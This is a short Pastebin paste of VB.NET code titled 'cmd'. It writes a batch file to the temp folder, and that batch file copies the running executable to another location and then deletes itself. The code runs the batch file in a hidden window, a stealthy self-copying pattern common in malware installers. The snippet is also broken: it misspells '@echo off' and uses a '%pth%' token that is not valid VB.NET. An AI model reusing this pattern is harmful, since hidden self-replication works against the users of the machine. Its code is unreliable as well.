ibennz

cmd

Dec 11th, 2013
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.59 KB | None | 0 0
  1. Dim SbA As New System.Text.StringBuilder
  2.     SbA.AppendLine("@echoff")
  3.     SbA.AppendLine("copy " & Chr(34) & Process.GetCurrentProcess.MainModule.FileName & Chr(34) & " , " & Chr(34) & %pth% & Chr(34))
  4.     SbA.AppendLine("DEL " & Chr(34) & "%~f0" & Chr(34))
  5.     IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\tmp.bat", SbA.ToString)
  6.  
  7.         Dim cmdcopy As New Process
  8.         cmdcopy.StartInfo.FileName = My.Computer.FileSystem.SpecialDirectories.Temp & "\tmp.bat"
  9.         cmdcopy.StartInfo.CreateNoWindow = True
  10.         cmdcopy.StartInfo.UseShellExecute = False
  11.         cmdcopy.Start()
Advertisement
Add Comment
Please, Sign In to add comment